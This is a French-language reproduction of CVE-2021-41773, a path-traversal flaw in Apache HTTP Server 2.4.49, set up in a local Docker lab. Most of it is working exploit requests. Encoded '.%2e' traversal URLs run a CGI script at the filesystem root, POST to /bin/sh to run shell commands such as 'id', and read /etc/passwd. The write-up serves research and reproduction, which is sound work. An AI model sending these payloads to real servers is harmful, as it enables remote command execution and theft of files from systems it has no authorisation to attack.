CVE-2021-41773

Reproduction de CVE-2021-41773

https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited

Vulnérabilité propre à Apache v2.4.49. Les versions antérieures ne contenaient pas la fonction ap_normalize_path ; elle a été introduite dans la v2.4.49, et c'est cette fonction qui a provoqué le path traversal. Elle a été corrigée dans la v2.4.50.

Environnement

https://github.com/1nhann/CVE-2021-41773

Dans cet environnement, le module CGI est chargé :

LoadModule cgi_module modules/mod_cgi.so

root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve

À l’intérieur du conteneur : image-20211006213843476

PoC

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close

image-20211006210008166

Il a exécuté /bash.cgi à la racine.

Obtention d’un shell

Consultez la documentation d’Apache sur le CGI :

STDIN and STDOUT

Other communication between the server and the client happens over standard input (STDIN) and standard output (STDOUT). In normal everyday context, STDIN means the keyboard, or a file that a program is given to act on, and STDOUT usually means the console or screen.

When you POST a web form to a CGI program, the data in that form is bundled up into a special format and gets delivered to your CGI program over STDIN. The program then can process that data as though it was coming in from the keyboard, or from a file

The "special format" is very simple. A field name and its value are joined together with an equals (=) sign, and pairs of values are joined together with an ampersand (&). Inconvenient characters like spaces, amp;ersands, and equals signs, are converted into their hex equivalent so that they don't gum up the works. The whole data string might look something like:

root@kitploit:~

name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey

Cela signifie que les paramètres envoyés via POST sont transmis via stdin au programme CGI auquel on accède.

Si on accède à /bin/sh, on peut directement obtenir un shell.

PoC :

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

data=;touch /tmp/pwned

image-20211006213421718

On peut aussi obtenir un retour direct des résultats de la commande :

PoC :

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

echo Content-Type: text/plain; echo; id

Lecture arbitraire de fichiers

Si le module CGI n'est pas chargé, le fichier accédé ne sera pas exécuté :

#LoadModule cgi_module modules/mod_cgi.so

PoC :

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close

image-20211006232521116